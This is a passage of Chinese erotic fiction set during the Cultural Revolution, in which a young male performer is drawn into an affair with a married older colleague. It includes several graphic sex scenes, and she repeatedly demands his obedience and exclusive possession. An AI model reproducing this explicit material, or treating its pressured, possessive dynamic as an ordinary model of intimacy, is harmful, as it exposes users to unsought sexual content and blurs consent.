  回到我自己的屋里,拿起书,可怎么也看不进去。心里还是空落落的。看看

闹钟快到昨天的时间了,我的心不由的" 咚咚" 跳个不停。去不去去,心里有点

害怕,不知会有什么事儿发生。不去,又有点闹的慌。觉得象磁石般勾着我。


  我轻轻地敲了一下门,门自己开了。


  " 你迟到了。" 小许的声音。


  屋里灯光昏暗,我好不容易在里屋的沙发上发现了小许。沙发这种高档家具

在当时的年代里只能在大会议室和大干部家里才能见到,在一般的宿舍里几乎见

不着。小许家就有。听队里同志讲:' 小许妈妈家解放前是资本家。' " 快进来。

" 小许从里屋的沙发上站起来迎了出来轻声地说道:" 怎么来晚了 " "没有哇。

" " 你晚了十分钟。" " ……" " 喝点水吧。" 小许从盆里拿出不知什么时候煮

的,早就冰好了的绿豆汤。递了过来。


  " 谢谢。" " 凉吗 " "凉极了。真甜。" " 好喝那就多喝点。" 我真想说:

' 糖衣炮弹' 吧怎么专打我呀但我没敢。


  " 我真怕你不来。" 小许轻轻地说道。


  我看见小许只穿了一件薄薄的肥大睡袍,脚上穿着一双绣了花儿的拖鞋。这

种样子的女人我只在电影里见过。还不是好人。这种打扮在当时文化大革命的年

代里哪儿见的着呀。看来小许真是资产阶级的臭小姐。破" 四旧" 怎么就没破到

她这儿呀" 来。坐这儿。" 小许拉着我的手走到沙发旁。


  我慢慢坐了下来,沙发真软。不过夏天坐在上面忒热。


  很快我的衣服又湿透了。


  " 热吗热就把衣服脱了。" " 啊我,我一脱就光脊梁了。" " 这儿又没别人。

" 这种话从她嘴里说出真不可思议。


  " 不行,不行。" 我下意识地又纪上了一个扣子。


  " 你真逗。别再纪了,没人吃了你。" 我发现了自己的动作是有点蠢,不自

然的笑了笑。


  唉。这是我第二次在夜里和一个女人" 单独见面" 啊。说实在的这真是有点

荒唐,也不正常。可我又自己控制不住自己。小许什么地方吸引我是高挑的身材

和不凡的气质我还真不知道。我有吸引人的地方吗我也不清楚。不过有一点我很

自信,就是多年的锻炼,使我的脖子快跟脑袋一边粗了,胸肌,二头肌煞是丰满,

从后面看是个大三角。我对我自己的肌肉非常满意。谁也都是另眼看的。真有点

男人的英武气。这是我自己唯一值得骄傲的。


  " 你今天不会一会儿就走吧 "小许转了一个话题:" 你想让我什么时候回去

" 我大着胆儿直接问道:" ……" " 小胡,你以前谈过朋友吗 " "没有。" " 也

没接触过女人 " "没有。" " 想不想有个女朋友。" " 想。但是我现在没想。"

" 我给你找一个吧。" 小许说着轻轻地向我靠了过来。


  我闻见她身上的香味儿真有点晕了。


  " 谁呀 " "我。" " 你 "我真不敢相信自己的耳朵,一下从沙发上跳了起来。


  " 我。你看行吗 "小许也从沙发上站了起来说道。


  " 这,这怎么可能呢……" " 有什么不可能呢 "小许双手搂着我的肩膀慢慢

地让我又坐回到沙发上。


  " 你,你都结婚了。" " 结了婚就不能拥有爱吗 " "那你怎么跟辛老师交代

啊 " "谁也用不着跟谁交代。只要自己快乐就行。也就是你和我快乐就足够了。

" 妈呀。这是什么理论在我的理念中家庭是非常很神圣的。那是幸福的港湾。家

庭的基础是爱。是相互信任,相互奉献。靠双方的付出来维持。小许说的我还是

头一回听说。跟我的理解有距离。


  " 团里,队里那么多的人,有得是比我强的人,你干嘛非选我 "我问道。


  " 很简单。因为你适合我。" " 可你并不一定适合我呀。我回答道。


  " 是因为我比你大吗是因为我结过婚吗其实这都不重要。重要的是我喜欢你。

我愿意为你付出,你值得我付出。这还不够吗 " "这可是咱们第二次在一起谈话。

在此之前我们可以说并不熟悉。互相也不了解。一下变成这样儿,我一点思想准

备都没有。" 我说道。


  " 不用你有任何准备。你只要接受,服从就可以了。" " 你还是让我想想吧。

行吗太突然了。" " 那你今天是不是又想马上就走这样吧。明天这个时间你来。

给我一个满意的答复。" " 我尽量吧。" " 不是尽量,是一定。来。" " 干嘛 "

" 让我抱抱你。" 我脑子一片空白,呆呆的站着,小许走过来把我紧紧抱住,在

我的脖子,脸上,耳朵上亲吻着……。


  " 小胡,你昨天是怎么了 "小王又没敲门就走进门儿说:由于我在健身,脱

得只剩一条小短裤,坐在凳子上练哑铃使我浑身都是汗,油光发亮。


  小王一下停住了。好像第一次看见我似的。


  " 什么呀 "我没有停下来问道:" ……。" " 说你哪。别老盯着我行吗我后

背直发凉。" 我开玩笑地把昨天小王的话回给了她。可能她是没有见过我这一身

的肌肉吧。


  " 噢。你忽然跑到我哪儿,屁股都没坐热就又跑了。你到底有什么事儿 "小

王从慌乱中回过神儿来忙回答道。


  " 没事儿就不兴到你哪儿啦 "我接着又说:" 你是说昨天吗闲的没事儿,到

你哪儿认认门儿不行吗 " "那你干嘛死其摆咧看我呀。好象没见过似的。看人那

儿有这么看的一点也不含蓄。说真的真还没人这么盯着我看呢。你真象是一只大

灰狼。张开血盆大口,象是要把人吃喽。怪瘆人的。" " 不至于吧你告诉球子

(小王的男朋友是湖南人,总把绸子说成球子,队里的同志就都一直叫他球子)

了吧怪不得今天出操他使劲瞪我呢!" " 讨厌,跟他说这干嘛 " "谢谢您了。真

的,我第一次发现你这么好看,不骗你。昨天总算把你上上下下,里里外外看了

个够。平常都没这么多时间。也没哪个机会。你不生气吧 "我吐了口气,把哑铃

放了下来说道。


  " 你看你,说着说着又没正经。我不生气。" " 真的,我自己也不知道是怎

么的了。我平时没有恭维人的习惯。见了你不知怎么就说出来了。其实我想你自

己也应该知道自己挺好看的。你一上街呀,准能晕倒一大片。球子真有福气,能

有你这么个媳妇。我真嫉妒死了球子了。你信不信他睡觉都能乐醒喽。" 我一边

擦汗一边继续说:" 傻兄弟,别媳妇媳妇的说。我们还没有结婚呢。再说姐也没

这么俊。" " 媳妇早晚得叫,反正你已经是人家的人了。你还想换主儿哎,你要

不信咱俩现在就到街上走走你就知道我说的是真的了。" " 快别说了。" 小王脸

通红通红的,低着头说道。


  " 小王,问你个问题,你说一个女人能同时爱两个男人吗 " "一个女人能同

时爱两个男人 "小王反问道:" 一个结了婚的女人能再爱另一个男人吗 " "你怎

么越说越没边了。我没法回答你这乱七八糟的问题。你准是看孬书看出病了。不

理你了。" 小王说着走了出去。


  " 哎……,别走呀。我还没说完呢。" " 你说我跟小许的事儿找谁商量呀,

一会儿就又到时间了。我还真怕小许这穷追猛打的劲了。" 我想道。


  闹钟" 嘀哒,嘀哒" 地走着,我坐在床上直发呆,一动没动。门轻轻开了。


  " 你怎么还不过来 "小许站在门口说道:" 我还没想好……。" " 我不是说

过嘛,我只要你接受和服从。走吧。" 走进小许的里屋,床头灯上又盖了一块纱

巾,屋子里更加暗了。床头灯是铜铸的一个浴女,双手举着一个罐往身上到水。

还蛮有味道的。


  " 坐下。" 小许的口气就象是命令。


  " ……" " 在沙发上坐。" 我只能老老实实的坐了下来。抬头看着小许。


  " 你就这么不喜欢我吗 "小许说着在我身边坐下,一只手搭在我的肩上。


  " 我……" 小许没在说话,用手屡着我的头发。我的头发长长的,是那种偏

中分,收拾的特别好。自然的弯曲,很有些艺术家的气质,这也是我引以为豪的

第二点。不是有位文人说过吗:" 人不帅就得怪。" 我就是属于后者。这会儿我

怎么觉得自己就象一只宠物,顺从的让主人摸着。


  " 看着我,你真不喜欢我吗我就这么让你烦吗 "小许把我的头搬了过来,让

我看着她的眼睛。人们都说眼睛是心灵的窗户,小许的眼里除了有一种强烈的占

有欲望,别的好象什么都看不出来。她的呼吸直喷我的脸。


  " 也不是——。我,我有点害怕。" 说着移开了看她的眼镜。


  " 怕什么 " "不知道反正害怕。" 我摇摇头说道,心跳个不停。


  " 在我这儿你用不着怕。" 小许笑了笑摸着我的脸说道:" 吻我吧。" 说着

小许闭上眼睛,嘴微张着向我靠过来,我想躲,可头让小许死死的搬着动不了。

我们的嘴贴在了一块。我一动不动的就这么让她贴着。小许用舌头慢慢撬开我的

嘴,把舌头伸了进去,真是软软的,热乎乎的,在我嘴里蠕动着,这真是一种奇

妙的感觉。她把我的舌头吸到她的嘴里使劲地嘬着" 嗯,嗯。" 发出轻轻的呻吟

声。手伸进我的衣服在我身上摸着。怎么和那次看见分队长和大嫂一起的感觉一

样了我的尘根一下硬了起来,一跳一跳的。我一下推开小许站了起来。


  " 怎么了 "小许吃惊的问道:" 有点儿难受。" 我颤抖地回答着。


  " 抱着我,一会儿就好。" 小许看了看我顶起的裤子说道。


  我抱着小许,小许紧贴着我扭动着身子。


  " 不行。我要撒尿。" " 尿吧。上哪儿去 "我正要往出走小许问道:我指指

门外。


  " 来,快坐下。" 小许轻声说道。


  我顺从的坐了下来。小许解开我裤子扣,在我硬挺着的尘根上轻轻的摸着。

我再也忍不住了" 噗噗" 喷射个不停。


  " 好受了吧! "小许问道。


  我红着脸点了点头。


  " 在床上躺会儿吧。我给你处理一下。" 小许拉着我走到床边说道:还是那

块白毛巾,小许用温水钭过,轻轻的擦着真舒服。


  " 你射的真多。脱了吧。" 小许一边擦一边说着。


  " 还有什么不好意思的 "见我没动小许说道。


  小许家的床软软的,我知道这是" 希梦斯" ,枕头是鸭绒絮的,躺在上面是

种享受。


  " 摸摸我吧。" 小许轻轻地拿起我的手放在她的胸上揉着。小许的乳房不大,

乳头不小。在我的抚摸下乳头慢慢的硬了。我仿佛又看见大嫂浑圆高耸的乳房。

小许的乳房没有房东大嫂的大。也没有小王的大,小王的我没见过。不过肯定没

有小王的大。 "啊,啊" 小许脸上泛着红晕闭着眼睛呻吟着。


  " 抱着我,亲亲我吧。" 小许在我耳边说着。


  我学着小许的样儿,用舌头把她的嘴顶开,把她的舌头吸了过来,用力嘬着。

小许紧紧的抱着我忘情的吻着,一直没有松开。


  不知什么时候小许已经躺在我的身边,睡衣也没了。她没有小王白。我和小

许现在的样子真有点象分队长和房东大嫂在屋里那样了,赤条条一丝不挂。


  " 还等什么来吧。" 小许摸着我一柱冲天一直没软下来的尘根,趁喘气的时

候小声说道:小许挪了挪枕头,躺好。把两条长腿叉开:" 给我吧。" 没费一点

劲就顺利的插了进去,湿湿的,滑滑的,热热的把我的尘根包的紧紧的真是舒服

极了。真不知道插进去的感觉这么好。我使劲往里顶:' 你都能杵到俺嗓子眼儿

上了' 我清楚的记得大嫂说的话。我一动不动地趴在小许身上往里顶着。


  " 咳,真是个孩子。来,这样。" 说着她用手推着我的胯,把我推离她的身

体,又松开让我滑入。


  " 明白了吗慢慢抽出,哎对,再慢慢插进来。光往里顶不行。谁都不舒服。

来,再试试。" 噢。闹了半天就是伏卧撑呀。不过这不用双臂的力量。我按照小

许教我的作了起来。


  小许的双腿紧紧地缠在我的腰上,双手抱住我的脖子在我的脸上不停的亲着。

不知过了多久我两腿间有点发酸,又有了刚才要撒尿的感觉:" 小许不行了。我

要出来了,我又要出来了。" " 出吧,出吧。都给我吧。" 小许疯狂的挺动着。

我往出拔,她向后退,我往里插,她向上迎,我们越动越快。猛烈的撞击着。我

身子突然一抖,又射精了。小许拼命扭动着屁股," 嗯呀,嗯呀" 的叫着。怎么

和刚才射出的时候感觉不一样在小许里面好象我的龟头被什么揉着,吸着,麻酥

酥的真是舒服。


  这是我第一次体验" 性交" ,女人呐,真是不可思义。


  这一夜小许没让我闲着。不知疲倦的要求着,我们就这样一次又一次,没完

没了的动着。每次我射完精小许就拼命的亲我。


  天亮了。屋外有了动静。


  " 你别回去了。在我这儿睡吧。" 小许说:" 我一定得回去,我不在屋里他

们该找我了。" " 今天晚上一定来。你只能属于我一个人,听见了吗乖孩子。"

小许满足的笑了。


  " 真是资产阶级的残渣余孽。" 我想着走出小许的门。


  哨声响了。我们全队出操跑到山上,自由活动时小王走到我跟前说:" 嘿,

你脸色不太好,怎么回事儿 " "你走了以后我一直没睡。" " 你失眠了年纪轻轻

的不可能失眠,你准又胡想八想的,是不是 "小王脸一红说道:" 你想让我告诉

你为什么吗 " "不听。我不听。""小王捂着耳朵跑开了。


  我看见小许在远处看着我。是在监视我我装着没看见继续活动着。


  走回宿舍一进屋。桌上放着一杯冲好的牛奶和两个合包蛋,准是小许送来的,

这怎么跟房东大嫂的" 蛋花汤" 一个意思,我怎么成了分队长了女人都是这样吗

" 快吃吧。凉了就不好了。" 一个人影在我窗前一恍,我知道准又是小许。


  上午全队到政治部参加批斗大会。看见军区副政委被几个造反派押着站在台

上," 打倒" 口号声震天响。听说副政委是全军少有的大学生将军。" 这是干什

么呀你怎么知道他就是走资本主义的当权派人家革命的时候你们还不知在哪儿转

筋呢胡闹。" 我悄悄地溜出会场。


  " 你也不参加会啦 "小许不知什么时候冒了出来,跟在我后面说道。


  " 哎呦。真是不想见到谁谁准就来。" 我暗暗的想着。


  " 累了吗 "小许问道:" 没有。" 路上我一直没说话。快到家时小许说:"

晚上我等你。" 就径直回她房间了。


  " 小胡……哎,你在屋呐我叫你半天怎么不吭声呀 " "……" " 刚才那几个

人是兰州军区的……" " 你怎么知道他们跑咱们这儿干什么 "我没等她说完问道。


  " 他们是大串联来的,点咱们军区革命之火来的。" 小王兴奋的说着。


  " 串联是什么意思 " "大串联是毛主席号召的。就是让咱们走出去,经经风

雨见见世面,把文化大革命进行到底。你别老在屋里,也关心点国家大事。" "

那路费谁付呀 " "坐火车不收钱,想去哪儿就去哪儿。" " 有这好事儿 " "你不

信 " "不太信。那国家不就亏了吗你想上哪儿 " "没想好呢。" " 我看你呀,和

球子一起回婆家。让他妈好好看看你这个俊媳妇吧。" " 我跟你说过多少次,我

还不是他媳妇呐。" 小王有点要急。


  " 得,得。就算我没说行了吧 " "我真怕一辈子就这么栓在一个男人身上了。

" " 呦。你想许几个男人呀 " "我要认真的想想了。人一辈子应该是丰富多彩的。

趁年轻好好享受享受。" " 你的革命理想跑到哪儿去了小王同志,你的思想很危

险呀。" " 瞎说。哎,你想去哪儿你要出去告诉我一声啊!" " 我呀。现在就想

和你私奔。" 我笑着答应道。不知哪儿的这么大的胆儿。


  " 你……" 没再往下说。


  小王坐在哪儿一直没动,继续想她的心事儿。


  " 该吃饭了。你怎么啦 "我推了一下小王说道:" 嗷,吃饭拉 "小王自语道

:" 真逗。" 说着拿起饭湓向饭厅走去。


  队里的同志们也都在议论串联的事儿。有的说到广州,有的说去上海。也有

的说到新疆。真不知道大家都想上哪儿问我上哪儿回北京。快两年没回去了,北

京变成什么样儿了谁也没有声张,但我知道都在准备。


  " 小胡,你也要出去串联吗 "小许看我吃完饭,就风风火火地到我屋里问我

:" 谁说的 " "我怕你不吭一声就走了 " "瞎说。" " 那就好。" 听我没有要走

的意思,小许松了口气。


  " 我对你来说真那么重要吗 " "重要,非常重要。从昨天晚上开始我就离不

开你了。我想天天和你在一起。" " 可能吗辛老师就永远不回来了 " "不管那么

多了……,晚上来吧。啊 "我坐在床上没说话。


  " 你不来。你不来我就到你这儿来。" 小许看我没说话象是发似恨的说着。


  " 别。你别吓着我。那我去还不行吗 " "这才是乖孩子。" 小许摸了我脸一

下走出了房间。" 一定……" 小许又叮嘱了一下。


  " 不行。不能老让她这么缠着。出事儿就了不得。" 我靠在床上迷迷糊糊地

睡着了。


  " 小胡,下午二分队的刘建平上北京了。晚上还走几个。" 小王在饭厅告诉

我说:" 是吗你想好了吗 "我问道:" 什么 " "你嫁给球子回婆家呀。" 我成心

逗她说道:" 讨厌。看你还瞎说不 "小王拿筷子打我。


  " 别打,别打。不嫁他行了吧。嫁别人。" 我一边挡着头一边说道:" 你…

…" 小王的手一下停在了半空,脸一下变得通红通红的。


  " 对不起。" 我知道我的玩笑过头了,连忙道歉。


  小王跑出了饭厅。


  " 小胡,你玩笑有点过了。要是让球子知道,不把你连骨头都嚼了才怪呢!

" 饭厅里的同志们笑着说道:" 也就是你,要是换了别人,哼!小王准急了。"

" 小胡面子大。" " 饶了我吧。我举手投降了还不行吗。" 我忙说道。


  晚饭后,我敲了敲小王的门。


  " 进来。" " 小王,真对不起。玩笑有点儿过头。你别生气。" " 傻兄弟,

我没生气。" 小王见我一下脸又红了,不自然的说道。


  " 我准备明天走。" " 去哪儿 " "我回村儿一趟。" " 什么 " "我回村儿去。

" 我重复道。


  " 你到哪儿干什么 "小王吃惊的问道:" 我想看看我们房东大嫂。" " 看她

干什么 " "我觉得她可怜。" " 可怜 " "你别管了。嗨。跟你也说不清。" " 我

两三天就回来。我只告诉你了,替我保密。行吗 " "嗯。别去太长时间。啊。"

我看着小王没有说话。


  " 你别这么看我行吗我就是想让你早去早回。路上小心点儿。" 我站了起来,

小王也站了起来,我门离的那么近,对方的呼吸我们都感觉到了。小王脸一下又

红了,不好意思的低下头。不知怎么我有一种要抱抱她的冲动。但忍住了。


  我知道小王也在等待着什么。


  " 我走了。" 我小声说道。便默默地走出了屋门。


  收拾好挎包。又到了要去小许哪儿的时间了。" 去不去不去,她要是真到我

这儿来可就麻烦了。" 推开小许屋的门,灯还是那么暗,屋里飘着淡淡的龙岩香

的香气,这好象是小许特意营造的一种气氛,小许躺在床上,散开盘在头上的长

发,穿着一件真丝睡袍。


  " 你不是要到我屋去吗 " "那是你不来的情况。现在你来了我就不用去了。

你以为我不敢去呐 " "来。乖孩子。" 见我走到床边,小许伸出双臂说道。


  我坐在床边上。小许欠起身子把我的衣扣一个一个的解开,在我的身上轻轻

地摸着。我的鸡皮疙瘩一下起了满身,我不由自主地也把她衣服上的那根丝带慢

慢的拉开,睡袍悄声的滑落,小许里面什么也没穿。看来她是做好了准备。


  小许抱住我在我耳边说:" 上来吧。" 我顺从的上了床,躺在她身边。小许

的手在我身上上下摸着。我下身一下挺仗起来。


  " 多神奇的东西啊!" 小许说着手摸了过去,在我的龟头上轻轻揉着。乳头

在我的脸上蹭,我闭着眼享受着她的抚摸," 亲亲它吧。" 小许说道。我睁开眼

睛,小许正把乳头放在我的嘴边,我张开嘴把她的乳头含在嘴里吮吸着。小许发

出" 嗯,嗯" 呻吟声。


  " 我受不了了。" 小许轻声说道。坐了起来,分开双腿扶着我直挺的尘根坐

了下去,一种湿湿的,暖暖的,紧包着的感觉传到我的脑中。


  " 舒服吗 "小许问道。我点了点头。" 摸我的乳房。" 小许上下桩着。气喘

嘘嘘的说道。我双手抓住小许的乳房揉捏着。这样的确是非常舒服。我不由的想

起分队长和房东大嫂的样子。


  " 不行了,这样真是太累了。该你服务了。" 小许一下趴在我身上,她后背

都是汗,喘息着。看来这真是个力气活儿。没有把子力气完成任务够难的。


  小许高高的叉开两腿,等着我的进入。我没有马上插进去,只在她暖湿的口

上蹭着,点着,小许提着胯往上迎,她越着急我越有意躲着,小许急得直掐我,

我还是不紧不慢的蹭着,磨着。就是不往里边插。


  " 求求你了,快给我吧。" 小许哀求着。


  " 真要哇那你准备好了。我就不客气了。" 我尽根儿的一插,小许" 啊" 的

一声大叫。眼睛睁的大大的。我疯狂的挺动着,小许喘着粗气" 哼" 着,紧紧地

抱着我的腰。过了多久我都不知道,我发现小许紧抱我的手松开了,头侧到一边

不动了,闭着眼,鼻子尖上一层冷汗。


  " 你怎么啦 "我摇着小许,轻声地叫着。


  " 哎呦——" 过了一会儿小许长长的出了一口气。


  " 你真把我整死过去了。" " 你还没出来呐来,你慢点动吧。" 看着我直硬

的尘根小许说:" 算了,别再弄了。一会儿真出人命。" " 傻孩子,干这事儿没

有死人的。" " 那你刚才怎么了 " "舒服。这就叫舒服死了。这么多年我还是头

一次这样儿。只有跟你弄我才会这样。" " 真的你是不是跟别人也有 "说着我又

插了进去。这次我慢慢的轻轻的了。


  小许没有回答。慢慢地张开嘴,我知道她是让我把舌头给她,我把舌头伸到

她嘴里,她拼命吮吸着,双手把我往她身上拉,我加快了速度抽动着。


  " 小许,小——许——," 我轻声叫着。


  " 出吧,出来吧。都给我吧。都射在我里边吧。" 小许可能知道我要射精了,

手在我后背上快速抚摸着喃喃地说道。


  我精关一松,喷射出来了,趴在小许身上不动了。这是今天第一次射精。


  " 射出来舒服吗 "过了一会儿小许问道:" 舒服。" 我回答道。


  " 我会让你永远舒服。" 小许亲着我的脸说,手又向我的下身摸去:" 呀!

你怎么不软呀我真没见过这么棒的。" 小许见我的尘根还是直挺着吃惊的说道。


  " 不知道。一硬起来就这样儿,涨得难受。" " 你没给过别人吧 " "你说呢

" " 我不允许你再和别人有这种关系,听见了吗你永远属于我。只能属于我一个

人。" 好象我是她的奴仆,只能听命于她。


  " 你饿了吧我给你准备好夜宵了,我拿给你。" 说着下了床。小许光着身子

在屋里走,真是肆无忌惮,无所顾忌。


  这种女人我喜欢吗我自己也不知道。


  看着小许端来一碗浓浓的冒着热气的汤。" 这是什么汤 "我问道:" 下午特

意给你炖的鸡汤。" 小许得意的说道。


  我端着碗没动。" 这就是给我的回报吗 "我想道。


  " 快喝吧。没给你下毒。你犹疑什么 "小许催促着。


  我看了她一眼慢慢地完了这碗鸡汤。


  " 把碗放在床头柜上吧。" 小许摸着我的尘根说:" 再来一次吧。" " 你还

想要哇。" " 再给我吧。啊。" 小许咬着我的耳垂儿说道:小许躺好,让我趴在

她身上,两腿却紧紧的拼着。


  " 你这样我怎么进去呀 " "我要你自己主动点,你自己想想办法呀。" 我跪

在床上把她双腿掰开,架在肩上,看着自己紫红坚挺的尘根慢慢地插了进去。


  " 别看。" 小许说道。


  我没有理她,继续看着它出出进进的。不知为什么,有种新奇的感觉。我紧

紧地抱着小许使劲的挺动着,在她脸上亲着。


  " 小胡,舒服死了。别停,我……我又要死了。" " 小……胡,使劲呀。我

……我……" 听着小许的轻叫,我恨命的动着。女人的叫声,喘息声真是种刺激。

我现在有点喜欢这叫声了。


  " 小许,我要出来了。" 我在小许的耳边说道。


  " 给我吧,给我吧。" 我感觉小许里面好象有什么东西一下一下揉着我的龟

头,我再也忍不住了,再一次喷了出来。


  " 真好呀……谢谢你。" 小许说着,抱着我没有再动。静静地睡了。


  " 当啷" 一声不知什么掉在地上,我一下惊醒,坐了起来一看三点多了,我

看了一下小许,她象死猪一样睡着,看样真是把她累坏了,她哪儿来的这么大瘾,

没完没了的。